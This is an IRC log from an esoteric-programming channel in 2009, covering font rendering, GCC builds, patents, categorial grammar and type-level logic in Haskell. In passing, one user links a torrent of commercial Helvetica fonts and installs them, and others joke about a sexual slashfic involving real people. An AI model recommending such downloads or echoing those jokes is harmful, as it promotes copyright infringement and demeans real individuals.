21:19:53 pikhq: No, he complains about Xft. 21:19:56 Tuomov is just insane, man. 21:20:04 OS X antialiasing would probably drive him insane 21:20:10 ais523, any idea 21:20:11 OMG IT'S AS CLEAR AS PRINT!! ANTI-PIXEL BLURRING EVIL! 21:20:16 ALL MY BOOKS USE BITMAP FONTS 21:20:16 Huh. I was under the impression that Xft actually did decent anti-aliasing. 21:20:23 AnMaster: no 21:20:26 pikhq: Eh, it's alright. Not as good as OS X's. 21:20:32 ais523, I believe it ignores LDFLAGS somewhere 21:20:42 pikhq: Its subpixel rendering in particular is quite horrific 21:21:03 Though OS X handles fonts not designed with it in mind much better. 21:21:21 AnMaster: gcc's configure is terrible, you'll go mad if you look at it 21:21:29 Freetype handles Helvetica nicely 21:21:32 And bistream 21:21:34 That's about it :-P 21:21:36 so much so that even though it did everything C-INTERCAL needed, I wrote my own method of doing it rather than using gcc's 21:21:40 ehird, that's because of patent law. 21:21:45 *bitstream 21:21:57 It can't use *good* auto-hinting, because that's patented. 21:21:58 pikhq: I've ran the HIGHLY ILLEGAL IN THE US patched freetype. 21:22:03 It is not better. 21:22:04 Ah. 21:22:16 Well, then. 21:22:17 The autohinter, in particular, produces consistently worse results than the interpreter. 21:22:53 There's a reason I run Helvetica, Bitstream, and Lucida. ;) 21:23:34 -!- Hiato1 has quit ("Leaving."). 21:23:53 -!- Hiato has joined. 21:25:08 I'd better write my nice WM. 21:25:13 Hirmanaged. 21:25:16 Catchy. 21:25:16 ais523, seems I can set BOOT_LDFLAGS 21:25:18 to override 21:25:21 ah, ok 21:25:28 and then wait a few more hours 21:25:30 for a recompile 21:25:30 there are so many steps in compiling gcc that there are a lot of options 21:25:38 http://gcc.gnu.org/install/build.html 21:25:41 mentions BOOT_CFLAGS 21:25:50 a grep shows there is a corresponding LDFLAGS one 21:26:00 Shouldn't be exceedingly hard. Draw a simple border around a window -- mimicking Metacity's Mist theme -- with some simple buttons, double-click-to-maximize behavior and drag-to-move. 21:26:29 Then, write a panel application that displays a bog standard menu with blah blah launchers, some application shortcuts and a window list, still with gtk. 21:27:37 Easy. In theory. 21:27:47 Unfortunately, in practice, X. 21:27:56 Yep. 21:28:02 Especially since I want to do it non-reparenting. 21:28:04 That could turn out hard. 21:29:04 Nom nom nom. 21:29:47 no u 21:29:54 :k 21:30:30 I'm sorry, but I own patent #54372895472543: "IRC Nicks Beginning with the letters 'G' then 'R'". You will have to change your nick or pay me royalties. 21:31:01 IBM took out a patent on not using Lotus Notes in meetings 21:31:19 ais523: really? 21:31:29 yes, although luckily it's more specific than that 21:32:37 "METHODOLOGY AND PROCESS FOR SUPPRESSING DE-FOCUSING ACTIVITIES DURING SELECTIVE SCHEDULED MEETINGS"; quite a name. 21:32:44 Anyone else have an appreciation for the gtk/metacity theme Mist? It really does make gtk quite the nice. 21:34:53 ehird: it's included in Ubuntu Jaunty, but I'm not sure about it 21:35:09 ais523: you just can't handle the minimalism! 21:35:24 You're, um, sacrificing usability at the altar of the future. I think 21:35:41 Anything with a title bar is not minimalist. 21:35:51 GregorR: I already own patent 0xDEADBEEF: "Nicknames representable only using ASCII", though. You violate that. ;) 21:36:01 fizzie: The gtk theme is separate from the metacity one. 21:36:02 Erm. 21:36:06 Using only, rather. 21:36:10 Although my mega wm will imitate the window decoration style; it is rather tiny 21:36:22 I was having weird problems with my credit card, so I went to my bank and they "fixed" it, then I charged something to it, and now they've canceled it X_X 21:36:36 That's one definition for "fixed". 21:37:16 -!- tombom has joined. 21:37:59 fizzie: have you seen the Mist window decoration? It's just a tiny blue line with the window title and the three ubiquitous buttons as boring white symbols :-P 21:38:06 IBM took out a patent on not using Lotus Notes in meetings "METHODOLOGY AND PROCESS FOR SUPPRESSING DE-FOCUSING ACTIVITIES DURING SELECTIVE SCHEDULED MEETINGS"; quite a name. 21:38:06 err 21:38:07 what 21:38:08 It's not tinywm minimalist, but it's minimalist 21:38:11 how are they equal 21:38:30 Using Lotus Notes during the meeting is the "de-focusing activity" they're suppressing. 21:38:30 and doesn't IBM develop Lotus * 21:38:31 AnMaster: the patent was about Lotus Notes, and how to prevent people using it during a meeting 21:38:44 oh 21:38:47 the joke, of course, is that if IBM patent not using Lotus Notes, everyone else has to use it 21:38:53 but what is Lotus Notes for. 21:39:02 ais523, is it real 21:39:20 yes, it is 21:39:22 http://appft1.uspto.gov/netacgi/nph-Parser?Sect1=PTO1&Sect2=HITOFF&d=PG01&p=1&u=%2Fnetahtml%2FPTO%2Fsrchnum.html&r=1&f=G&l=50&s1="20090063996".PGNR.&OS=DN/20090063996&RS=DN/20090063996 21:39:25 ... 21:39:28 it's an office suite, I think 21:39:33 is it based on OpenOffice? I can't remember 21:39:45 ... 21:39:47 and it isn't first april 21:39:51 Lotus Notes is e-mail and calendaring and such. 21:39:53 Lotus notes is ancient 21:39:53 that it was filed on 21:39:58 ehird: ah,o k 21:40:00 -!- puzzlet has quit (Remote closed the connection). 21:40:05 ais523: 1989 ancient 21:40:07 -!- puzzlet has joined. 21:40:28 ais523, did they do it as a joke 21:40:33 I doubt it 21:40:42 I don't see anything particularly joky about it 21:40:52 just because it's possible to joke /about/ it doesn't make it in itself a joke 21:40:59 ah 21:41:12 ibm filing a patent as a joke? 21:41:16 But really, what they patented is just a system that lets you automagically (and enforcedly) disable some "distracting" features during meetings. 21:41:24 stupidest thing I've ever heard 21:41:28 It's only jokeable if you deliberately misinterpret it; like most things are, I guess. 21:43:09 yes 21:43:16 Patent language is quite a joke on its own, though. "A method for the suppressing computing system activities during a scheduled event, the method comprising: creating an invitation for an event at an event scheduling application executing at a primary computing system, the event invitation comprising an exclusive attendance event acceptance category and a non-exclusive attendance event acceptance category; .." continuing ad nauseam. 21:43:54 "-- accepting the event invitation at the event scheduling application executing at the secondary computing system, where in the instance that the event is accepted as an exclusive attendance event then communication and non-event scheduling application executing activities within the secondary computing system will be suspended upon the initiation of the event, and in the instance that the event is accepted as a non-exclusive attendance event a message is ge 21:43:54 nerated and delivered to the primary event scheduling application reporting that the event has been accepted as a non-exclusive event --" 21:44:05 All that without any punctuation in it. 21:44:17 Wait, there's a couple of commas. 21:45:53 The description parts usually seem human-readable, but the patent-claims-part is like in some sort of crude mockery of English. 21:47:37 Sadly, our patent system has completely and utterly failed at its purpose. 21:47:54 pikhq: It's about as misguided as copyright law... 21:48:08 You know, publishing how an invention works so that after some time, it's part of the body of human knowledge? 21:48:30 Yeah, now we just publish some bullshit that could possibly describe the invention and then sue everyone. 21:49:53 ehird: Except that copyright reform would be quite a bit more radical. ;) 22:17:30 Deewiant, 22:17:33 http://pastebin.ca/1409795 22:17:36 what do you think? 22:17:41 I plan to add some way to get revision too 22:17:58 (if a trunk build) 22:18:25 Sure 22:19:45 Compiled on is wrong atm 22:19:59 ah typoed 22:20:25 Compiled on: Linux 2.6.27-gentoo-r8-1 (x86_64) 22:20:25 ah much better 22:20:34 now to find how to get compiler version from cmake too 22:31:25 -!- M0ny has quit ("When you get sad stop being sad and be awesome instead."). 22:35:41 -!- MizardX has quit (Read error: 104 (Connection reset by peer)). 22:36:45 -!- MizardX has joined. 22:46:07 -!- Sgeo_ has joined. 22:46:44 -!- tombom has quit ("Peace and Protection 4.22.2"). 22:47:34 GCC's preprocessor have computed includes 22:47:35 ais523, ^ 22:47:37 fun 22:47:50 heh 22:47:55 http://gcc.gnu.org/onlinedocs/gcc-4.4.0/cpp/Computed-Includes.html#Computed-Includes 22:48:01 actuallyt 22:48:03 actually* 22:48:15 I was looking for an official list of GCC predefined macros 22:48:24 it seems to define __VERSION__ to what I need. 22:48:40 but I'm not sure it is official or not 22:53:02 ;_; 22:53:22 Gracenotes, what. 22:54:30 -!- Sgeo has quit (Read error: 110 (Connection timed out)). 22:55:47 mm so i had some ideas 22:56:21 that i might try to implement 22:56:26 not linguistic? 22:56:38 indeed! 22:56:45 ah 22:57:07 but, ironically, the implementation would be inspired by something from linguistics ;p 22:57:16 so the idea is something like this: 22:58:03 an expression like the following pseudohaskell: _ ++ "foo" ++ _ 22:58:31 would become the lambda \a.\b.(a ++ "foo" ++ b) 22:58:52 an expression like: _a ++ "foo" ++ _a 22:59:06 would become the lambda \a.(a ++ "foo" ++ a) 22:59:20 I think Scala has approximately-if-not-exactly that 22:59:31 really? interesting. 22:59:31 Of course not Haskell syntax, but the _s. 22:59:40 well 22:59:53 the _'s arent supposed to be haskell's "these dont matter" variables 23:00:11 rather, theyre a sort of "i dont care about the name of this variable" variable 23:00:16 Yep, I know. 23:00:21 ok 23:00:22 Or I understood, rather. 23:01:15 i figure the way I'd do it tho is like 23:01:22 -!- puzzlet has quit (Remote closed the connection). 23:01:26 -!- puzzlet has joined. 23:01:36 have some sort of type-shifting operations 23:01:52 so that _ by itself is just type t 23:02:02 meaning, whatever type the thing that you give the lambda 23:02:57 but _ ++ "foo" has a type-gloss of t (String/String)\String String 23:03:43 erm, not String -> String? 23:03:57 type-gloss, not type signature 23:04:12 oh some linguist thing... 23:04:20 well, no 23:04:21 the term gloss is 23:04:23 but 23:04:34 a gloss is just an item-by-item "Translation" of sorts 23:04:43 so in this case, its an item-by-item type 23:04:59 so _ is type t, ++ is type (String/String)\String, and "foo" is type String 23:06:59 so the type-shifter consumes the items left-to-right like 23:08:02 well, that (String/String)\String i seem to recall you doing with grammar previously 23:08:18 (that notation) 23:08:37 yeah, its CCG directional lambda application notation 23:09:11 essentially (A\B)/C is a left-first lambda type 23:09:19 B -> C -> A 23:09:29 (A/B)\C would be C -> B -> A 23:09:46 -!- FireFly has quit ("Later"). 23:09:46 -!- MizardX has quit (Read error: 60 (Operation timed out)). 23:09:57 ais523: 23:09:59 "The compiler values a multi-character character constant a character at a time, shifting the previous value left by the number of bits per target character, and then or-ing in the bit-pattern of the new character truncated to the width of a target character. The final bit-pattern is given type int, and is therefore signed, regardless of whether single characters are signed or not (a slight change fro 23:09:59 m versions 3.1 and earlier of GCC). If there are more characters in the constant than would fit in the target int the compiler issues a warning, and the excess leading characters are ignored." 23:10:02 HUH 23:10:31 http://gcc.gnu.org/onlinedocs/gcc-4.4.0/cpp/Implementation_002ddefined-behavior.html 23:10:52 AnMaster: multicharacter character constants in C exist, but are implementatino-defined 23:11:02 ais523, yes. But why that behaviour 23:11:12 -!- Hiato has quit (Read error: 104 (Connection reset by peer)). 23:11:12 why is that specific behaviour useful 23:11:26 it's the most common behaviour for a multichar constant 23:11:47 why is that an useful behaviour though 23:12:19 for example, pushing handprint in funge-98. e.g. ip_push(ip, 'WTF!'); 23:12:58 so the type-shifter gets to the ++ and says; ok, _ is type t, and ++ is type (Str\Str)/Str, so I have to lift _ to type Str/(Str\Str) 23:13:17 lifthrasiir, haha 23:13:18 -!- BeholdMyGlory has quit (Remote closed the connection). 23:13:44 lifthrasiir, I don't do it that way, I have a defined hexdecimal constant 23:13:48 okay, i'm just kidding but such constants are hardcoded to several file formats, for example. 23:14:14 once _ is lifted to Str/(Str\Str), it can compose with ++ (Str\Str)/Str to produce something like \x.(_ ++ x) 23:14:24 which is type Str/Str 23:14:35 -!- MizardX has joined. 23:15:33 the _ itself is probably some sort of magic lambda that stays on the outermost periphery of this whole thing 23:15:51 -!- coppro has joined. 23:16:26 so that "_ ++" actually produces something of the type \M.\x.(M ++ x) 23:16:46 but since the _ objects are parsing magic, not application magic, its all cool. 23:17:22 psygnisfive: scala & arc do that, but with less ridiculous "type gloss" rubbish. 23:17:28 it's a trivial syntactic translation 23:17:40 ehird 23:18:00 the type gloss stuff is a) not rubbish, and b) just a way to represent the types for describing whats going 23:18:18 that's "nice" but also useless, it's a trivial syntactic translation 23:18:55 maybe! but im thinking about it in combinatory terms. :P 23:20:58 mainly because it has no lambda delimiters to denote the whole thing as a lambda 23:21:12 so im not sure how i'd code something to recognize the extent of the lambda 23:23:07 i dont even remember at this point why i had this idea. XD 23:23:16 but it seemed like something i could use at the time 23:23:16 lol 23:23:35 i recall there were some discussions in #haskell about this 23:24:08 mostly, it wasn't considered worth complicating the language for, i think 23:25:16 (haskell already has sections, which is essentially an implicit such _ at one end of a parenthesized (x ++) or (++ x) 23:25:32 right, i know 23:25:47 the intention was to have a sort of... auto-lambda-izer for arbitrary expressions 23:26:42 it gets really messy if nested, with itself or with ordinary lambdas 23:27:00 how do you mean 23:29:43 ais523, can you update IFFI build process to define CFUN_IS_IFFI 23:30:34 oerjan 23:31:43 like, if you have both _ and _a, and no specific indication which is innermost 23:31:43 AnMaster: pretty easily, but not now 23:31:50 ais523, oh why 23:32:09 AnMaster: because it's late and I'm about to go home 23:32:11 oh. well, my intention was it'd just be in-order 23:32:12 ah 23:32:13 so _ _a could mean either \_ _a -> _ _a or \_a _ -> _a _ 23:32:13 ais523, cya 23:32:15 and in the middle of conversations with other people 23:32:20 ais523, and do it tomorrow then? 23:32:22 or whatever 23:33:01 so that _ _a would just be \_.\a.(_ _a) 23:33:16 or wait, even \_ -> _ \_a -> _a 23:33:37 what lol 23:33:44 in order. :P 23:33:57 \_ -> _ (\_a -> _a) 23:34:00 the magic lambdas just go in order of appearance of the _'s 23:34:30 well i guess the question is where the whole thing starts 23:34:36 right 23:34:47 the intention is that its the whole expression that the _ appears in 23:35:20 of some sort 23:35:42 i guess that itself is kind of tricky 23:35:44 ah yes that was another problem for haskell, it would mess with referential transparency 23:35:45 ais523, I'm going to commit that then 23:35:47 to IFFI 23:35:47 so it might need some delimiters. 23:36:09 {...} could delimit the magic lambda, i guess. 23:36:10 since you couldn't just substitute in an expression containing _'s 23:36:16 AnMaster: ok 23:36:55 ais523, pushed 23:36:58 oerjan, ive an idea 23:37:10 not for this exactly, but rather 23:37:30 a language that takes full advantage of type-shifting and function composition 23:37:30 ais523, pull from me please :) 23:38:08 AnMaster: ok, pulled 23:38:14 ais523, :) 23:38:25 so that expressions like sqrt + negate 5 == (\x -> sqrt x + negate x) 5 23:39:03 psygnisfive: you just invented forks 23:39:07 ehird 23:39:10 no 23:39:14 in J, (sqrt+negate)x = sqrt x + negate x 23:39:14 i know what forks are 23:39:25 well all commands in j are one-char 23:39:27 but there you go 23:39:27 ais523, btw since a few days cfunge has an option to disable all floating point calculations. (That is disable all fingerprints using them, core doesn't use it) 23:39:33 and psygnisfive, that's EXACTLY your concep. 23:39:34 t 23:39:36 in J you need to use special forked functions, i think, ehird 23:39:39 wrong 23:39:41 utterly wrong 23:39:44 ok 23:39:47 well, the idea isnt forks, anyway 23:39:53 i just used a fork as an example 23:39:53 ais523, this is of course a step in my evil plan to take over the world of embedded funge. ;P 23:39:55 ((verb1 verb2 verb3) noun) = ((verb1 noun) verb2 (verb3 noun)) 23:40:07 is that how it works in J? 23:40:10 generically? 23:40:17 yse 23:40:18 *yes 23:40:24 thats not what i mean, then. 23:40:40 FORBLEBORBLE 23:40:46 because it should be able to do more complex things 23:40:48 like say 23:40:56 ais523, it is possible (with advanced options) to get cfunge only to depend on libc now. Dropping need of libm, librt (optional, but previously always used if found), ncurses (likewise before) 23:41:05 time to go home, anyway 23:41:07 bye everyone 23:41:09 -!- ais523 has quit (Remote closed the connection). 23:41:10 well librt only on linux 23:41:18 f g h x y = f (g x y) (h x y) 23:41:23 since clock_gettime() is in libc on freebsd 23:41:28 which is a double fork 23:41:30 psygnisfive: you can do that with just a fork 23:41:30 and all other platforms I know of 23:41:32 iirc 23:41:39 really? 23:41:41 psygnisfive: something like this has been done partially in haskell by creating numerical type class instances for functions 23:41:46 GregorR, hi 23:41:53 i'll have to look into J more, then 23:41:53 GregorR, limited output more yet 23:42:00 psygnisfive: if you have an apply function you can do it, probably 23:42:04 the fork will be ugly but meh 23:42:13 well, the idea tho is that like 23:42:22 although that's not very generic 23:42:27 the interpreter can recognize type-mismatches, and lift around them 23:42:50 psygnisfive: the problem is that your ideas, while sounding nice, often come down to trivial transformations :) 23:42:55 i attribute this to you being a linguist ;-) 23:43:00 uh 23:43:06 they're not all that trivial, ehird 23:43:08 im using trivial examples 23:43:14 : 23:43:15 :p 23:43:18 psygnisfive, use some complex ones then 23:43:24 i cant think of any! :P 23:43:26 to convince ehird 23:43:30 (I haven't been reading) 23:44:24 GregorR, limited output more yet // no 23:44:30 its not really a simple transformation tho 23:44:38 psygnisfive: well AnMaster is hardly the person to ask about convincing ehird ;D 23:44:45 its not a syntactic thing, atleast not at the level of the syntax of the language 23:45:53 psygnisfive: but then you are instead getting around to needing a "sufficiently advanced type system" 23:46:03 what? 23:46:12 for your lifting 23:46:19 what do you mean 23:46:30 have I mentioned that dependent types solve every woe 23:46:36 no :P 23:47:10 permutations of (values|types) indexing on (values|types), truly une beautifule! 23:47:53 psygnisfive: i know that haskell's type system very much _avoids_ trying to deduce alternatives to type mismatches, presumably because it would be unsolvable and/or unbearably messy 23:47:54 oerjan, on the offchance that you're interested in the sort of ideas that im basing this off of, check out Combinatory Categorial Grammar 23:48:08 http://adblockplus.org/blog/attention-noscript-users 23:48:30 (well with type classes that is) 23:48:31 its a minor extension on plain old categorial grammar, which uses a simple directional-application function type 23:48:45 oh, well 23:48:56 see, type-lifting and such are very well defined operations in CCG 23:49:20 theres basically only two novel operations in CCG that make it do what it does 23:49:59 given a function of type a, you can live to type (a -> b) -> b 23:50:03 lift to* 23:50:13 -!- puzzlet_ has joined. 23:50:18 and thats essentially it. 23:50:41 modus ponens 23:50:48 what? :P 23:50:57 the other novel operation in CCG isnt novel to us, its just function composition, but its novel for CG 23:50:59 psygnisfive: if you will speak of linguistics without any context, please learn logic too. 23:51:10 i know what modus ponesns is, ehird 23:51:12 a, (a -> b) => b 23:51:16 ponesns 23:51:25 * psygnisfive smacks ehird 23:51:26 curry-howard isomorphism 23:51:28 oerjan: yep, and (a,b=>c) == (a=>b=>c) 23:51:44 you can do all logic with just forall and →, I think. 23:51:50 with _|_ = forall a.a 23:51:57 oerjan, yes, sure, i guess. i mean, afaik these ideas themselves arent magically knew, you know, but 23:52:00 (and ~a = a→_|_ ofc) 23:52:24 a^b = forall c.(a→b→c)→c 23:52:25 ehird: i think calculus of constructions does that 23:52:27 i mean, CCG has been around since the early 80s, i guess? and its an extension off of traditional logic as applied to natural language 23:52:40 oerjan: what about or? 23:52:51 but thats really not the point. :P 23:52:54 aVb = forall c. ((a→c)V(b→c))→c 23:52:55 hm 23:52:57 but that's self-referential 23:53:31 anyway, oerjan, you should check out CCG 23:53:52 oerjan: ah, wait 23:54:01 aVb = forall c. (a→c)→(b→c)→c, maybe? 23:54:14 if you can't satisfy one, do (a→_|_)? 23:54:16 yeah 23:54:18 dunno 23:54:19 as in 23:54:25 hmm 23:54:27 yeah, that seems right 23:56:28 oerjan: do you have the unicode _|_? 23:56:48 no 23:56:54 oerjan: ftp://ftp.cogsci.ed.ac.uk/pub/steedman/ccg/manifesto.pdf CCG manifesto. lol 23:57:11 Can't you just use F? 23:57:14 Or 0M 23:57:17 no! 23:57:26 because theres no fun in using someone elses language 23:57:40 Or a/\~a, it's equivalent 23:58:07 Slereah: ~a is defined using _|_ 23:58:13 imma use the langs that i wanna use >| 23:58:46 oerjan : Only if you chose it such :3 23:58:58 plus, i dont know if J does what im asking for, so nya. :P 23:59:11 Defining symbols with _|_ means you have to include at least two 23:59:12 not like im /asking/ for this, as such, but you know 23:59:18 -> and _|_ 23:59:35 Slereah: _|_ = forall a.a, said ehird 23:59:41 wtf is all this -> and _|_? _|_ looks like the symbol for bottom 23:59:45 and you need forall 23:59:49 Also : $Bcj(B 23:59:52 psygnisfive: yes 23:59:54 ⊥ = ∀A. A 23:59:54 ¬A = A ⇒ ⊥ 23:59:55 A ∧ B = ∀C. (A ⇒ (B ⇒ C)) ⇒ C 23:59:56 ok 23:59:57 A ∨ B = ∀C. (A ⇒ C) ⇒ ((B ⇒ C) ⇒ C) 2009-05-02: 00:00:01 Oh 00:00:05 you're all welcome. 00:00:08 Wait 00:00:10 Slereah: i have no idea what that was about 00:00:28 wasnt sure if thats what you were talking about or not :D 00:00:34 however you can avoid -> if you let forall have a premise 00:00:58 oerjan: eh? 00:01:03 You could do the Schonfinkel thingy 00:01:13 ehird: P -> Q = forall a \in P : Q 00:01:27 that's what CoC does iirc 00:01:29 Use the ∀x.x|y symbol 00:01:34 Wait 00:01:37 What was it again 00:01:52 Slereah: i'm not unicode clean 00:02:48 -!- puzzlet has quit (Read error: 110 (Connection timed out)). 00:02:57 There we go 00:03:03 With my rules: 00:03:09 Using the definition of xor: 00:03:09 (A ⊕ B) = (A ∧ ¬B) ∨ (¬A ∧ ¬B) 00:03:12 We get 00:03:13 A ⊕ B = ∀C. ((∀C. (A ⇒ ((B ⇒ ⊥) ⇒ C)) ⇒ C) ⇒ C) ⇒ (((∀C. ((A ⇒ ⊥) ⇒ (B ⇒ C)) ⇒ C) ⇒ C) ⇒ C) 00:03:18 Delightfully verbose. 00:03:42 f(x) |^x g(x) = forall x. f(x)|g(x) 00:03:57 er (¬A ∧ B) ofc 00:04:21 http://pastie.org/465557.txt?key=nevd9omyyjsa2nvbn4g 00:04:22 Logix 00:04:40 oerjan: do you know why that xor is so verbose? 00:04:44 i'd expect it to be shorter 00:04:53 ehird: CoC logic is intuitionistic, so A -> B is _not_ (¬A \/ B) 00:04:54 i suppose it has some redundant clauses 00:05:10 oerjan: agreed. 00:05:54 i don't think xor is a particularly intuitive operation :D 00:06:11 Very true :P 00:06:21 ok im off guys 00:06:24 see ya <3 00:06:26 bye 00:06:29 oerjan: now to translate that to haskell 00:06:34 check out that paper oerjan 00:06:38 its cool 00:09:24 type Bottom = forall a. a 00:09:24 type Not a = a -> Bottom 00:09:25 type a `And` b = forall c. (a -> (b -> c)) -> c 00:09:27 type a `Or` b = forall c. (a -> c) -> ((b -> c) -> c) 00:09:29 type a `Xor` b = (a `And` Not b) `Or` (Not a `And` b) 00:09:31 now to prove modus ponens 00:09:47 huh so that's what wolfram looks like http://news.bbc.co.uk/2/hi/technology/8026331.stm 00:10:09 looks like my math teacher 00:10:22 Hm. 00:10:26 I just had an idea 00:10:27 i had imagined him rather more maniacal, with huge hair 00:10:35 A slashfic Wolfram/ais 00:10:47 That he finally solved his problem made him so horny 00:10:57 He gave him his special "wolfram prize" 00:11:38 no dice, wolfram only breeds with CAs 00:12:06 dammit, modus ponens doesn't type yet 00:12:25 oh, trivial mistake 00:12:26 now it does 00:13:08 What is ehird doing? 00:13:23 Slereah: translated my implies-and-bottom logics to haskell 00:13:59 Slereah: oerjan: http://hpaste.org/fastcgi/hpaste.fcgi/view?id=4466 00:14:12 "How old are you now? You're 20?" "Yes" "You've hit the double-digits!" 00:14:30 Sgeo_: *facepalm* 00:14:31 er wait 00:14:34 Sgeo_'s 20? 00:14:59 (in base 20) 00:16:46 ehird, as of today 00:17:00 Sgeo_: The world would start making a lot more sense if I stopped viewing 20 as a bastion of maturity. 00:17:18 i'm 38, and definitely not mature 00:17:34 ...did you just say that I'm immature? 00:17:44 Sgeo_: no 00:17:50 Sgeo_: Mmmmmaaaaayyyyyyyyyyyynooooooooyyyyyyyyyybe. 00:18:19 ehird: needs more s's 00:18:34 Ssssssssssssssssssseeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeintercourse. 00:18:59 Sgeo_: Congrats. 00:19:04 ty 00:19:10 * pikhq has another ~year to go before hitting 20. 00:19:12 oerjan: say, how could I implement a boolean with this? 00:19:13 seintercourse? sorry i don't speak french that well 00:19:19 hmm 00:19:26 a→a→a, maybe? :-P 00:19:50 I'm trying to define (type Set a = a -> Bool), 'cept without using Bool since that's against the rules 00:19:52 well the system F definition is something like 00:20:02 forall a. a -> a -> a 00:20:05 i think 00:20:30 oerjan: right but that's sort of tautological 00:20:43 since there aren't really distinct a's in the type system, right? 00:21:08 hm 00:21:33 that's too subtle for me at this time, i'm about to go to bed 00:21:38 :-D 00:21:49 oerjan: maybe: 00:21:57 a→b→a or b 00:21:58 ? 00:23:30 oh well 00:23:45 although that's not really conditional any more 00:24:05 anyway, bed -> 00:24:09 bye 00:25:55 -!- oerjan has quit ("Nude Gait"). 00:55:39 pikhq: what do you use for helvetica on linux btw? i could convert the os x font, but... 01:01:35 Uh, Helvetica? 01:03:29 Argh. So *that's* why I don't use Helvetica. 01:03:37 Oh, Helvetica's installed alright... 01:03:42 The bitmap font. Ick. 01:04:15 You could probably just use the OS X font. 01:04:17 pikhq: AIIIIIIIIIIIIIIIIIIIIIEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE 01:04:23 And yeah, but OS X fonts generally lack hinting. 01:04:35 Because OS X's text rendering doesn't need it :P 01:04:49 Probably finding a Windows one would be best 01:05:18 -!- ehird_ has joined. 01:05:22 so I got debian all how I like it, hooray 01:05:51 well, more or less 01:05:56 but more or less does! 01:06:08 at least I think more or less does. 01:06:15 hmm, xchat-gnome could do with more line spacing 01:08:49 Let's try this "smuxi" client. 01:12:11 -!- ehird_ has quit ("Leaving"). 01:12:26 -!- ehird_ has joined. 01:12:34 This looks nice. 01:13:07 I, myself, am partial to irssi. 01:13:55 pikhq: I'd be all over irssi if it had a GUI frontend. 01:14:12 As it is, I have an objection to mimicking a restricted GUI on top of VT terminal codes... 01:14:40 ... GUI? 01:14:51 What is this "GUI" of which you speak? 01:15:16 pikhq: An attitude typical of many unix users, who should be sent back to the 80s. :) 01:16:07 Netcraft confirms it: Smuxi is nice. 01:16:14 Okay, so I'd be using an actual terminal instead of a psuedoterminal. 01:16:22 They should be sent back to the 50's. 01:16:29 To program by rerouting wires. 01:16:31 Oh, and I'd be using the OS that inspired UNIX-HATERS. 01:16:40 pikhq: Or a lisp machine. 01:16:45 You could actually buy them those days. 01:17:00 Oh, *God*... UNIX-HATERS would be full of perfectly valid points! 01:17:04 ehird_: Oh, right. 01:17:08 pikhq: But it is! 01:17:31 Except that many of the points are becoming increasingly moot unless you want them to not be. 01:17:43 Mere kludges. :) 01:17:50 Eh, 'tis the Unix way. 01:17:58 But oooh. A Lisp machine. 01:18:02 Buckey bits and Emacs. :) 01:18:35 The 80s was great for computers; bad for music, hairstyles. 01:19:17 Oh, I dunno about it being bad for musi... Oh, wait. *80s*. 01:19:28 Yes. 01:19:31 That decade that my music collection almost entirely skips. 01:19:57 (I have some Styx. That's about... It, as far as the 80s go) 01:20:14 wolfram alpha says "Launching May 2009" 01:20:14 pikhq: On December 31st, 1979 at 23:59:59 -- specifically, one planck time before January 1st -- the world's collective music lobe was knocked out in a freak accident. 01:20:19 is there any info on when in May 01:20:21 It is well known that it takes 10 years, precisely, to grow back. 01:20:28 since it is the second may now 01:21:09 ehird_: And it still needs at least two decades to recuperate. 01:21:21 Yep. 01:21:28 ehird, ^ 01:21:35 AnMaster: i do not know 01:21:40 ok 01:25:08 http://imgur.com/Gcy.png Yum. 01:25:13 (Sans tiny resolution due to VMity.) 01:25:21 Modulo, not sans, that is. 01:25:56 wtf kind of shitty window manager is that 01:26:08 bsmntbombdood: Pray tell, how is it shitty? 01:26:19 tiling wms are the future 01:26:31 The future of unergonomical pseudo-leetness, yes. 01:26:40 I'm not one for inhumane interfaces 01:26:53 ion is awesome 01:27:11 l o l 01:27:13 \o/ 01:27:14 \o/ 01:27:18 \o/\o/ 01:27:21 \o/\o/\o/ 01:27:27 GCC finished compling 01:27:29 finally 01:27:40 (yes I was doing it on my old pentium3) 01:27:57 (I don't know why) 01:28:13 You are both an idiot and a glutton for punishment 01:29:01 Slereah, I just didn't want it on my main desktop 01:31:41 http://isohunt.com/torrent_details/63227281/Helvetica.ttf?tab=summary 01:31:42 Weet. 01:32:13 ehird, what 01:32:30 Windows Helvetica TTFs, useful for Linuxing. 01:32:31 ehird, don't you have those on OS X 01:32:36 dfont 01:32:36 Yes. I am in a VM. 01:32:39 -!- WangZeDong has joined. 01:32:40 Of Debianity. 01:32:47 ehird, convert with fondu 01:32:59 AnMaster: OS X fonts lack hinting, and often are tuned for just OS X's font rendering 01:33:03 Windows fonts are closer to Linux 01:33:07 ah 01:33:10 maybe I should too then 01:33:33 Now how do I install these painlessly? 01:33:59 KDE 3 I know for 01:34:38 GNOME 2 :P 01:35:15 aha 01:35:19 go to fonts://, drag in 01:35:36 i think 01:35:48 nope 01:36:23 Stick them in ~/.fonts 01:37:04 aha, yep, fonts:/// 01:37:26 pikhq: that's what it does 01:37:29 I'd prefer system-wide though :( 01:38:02 As root, stick it in /usr/share/fonts/ 01:38:37 -!- MizardX has quit ("What are you sinking about?"). 01:38:49 pikhq: that contains subfolders truetype, type1 and X11 01:38:50 :\ 01:38:54 I suppose truetype 01:39:01 Yeah. 01:39:04 Does /usr/local/share/fonts work, I wonder? 01:39:11 It might. Worth trying. 01:39:31 ehird_, depends on setup 01:39:52 ehird_, why do OS X ones lack hinting 01:40:03 I thought they had that inof 01:40:04 because OS X doesn't hint 01:40:05 info* 01:40:12 ehird, oh? 01:40:15 its rendering is accurate enough not to 01:40:29 ehird, becuase of high res screen 01:40:31 or what 01:40:38 because the font rendering is better :P 01:41:26 pikhq: how do I add a directory to fontconfig's list? 01:41:34 it doesn't look at them :< 01:41:50 ah, /usr/share/blah 01:43:09 bah, fonts 01:43:13 shit sucks 01:43:35 ... 01:43:35 what 01:43:53 okay, relogin time 01:44:16 cfunge works on gcc 4.4 01:44:19 now I'm going to bed 01:44:51 -!- ehird_ has quit (Remote closed the connection). 01:49:26 -!- Slereah has quit (Read error: 110 (Connection timed out)). 01:50:49 → 02:38:55 -!- rabideejit has joined. 02:47:29 I thought of a new language. It's one of these cheesey thematic languages. 02:48:15 It should be called JUSTICE. It should read like a court transcript. 02:48:17 We'll be expecting your submission to http://www.esolangs.org/wiki/ promptly :P 02:48:29 Hehe! I shall 02:48:48 Have an implementation, or is it still in the design stage? 02:49:37 Well, 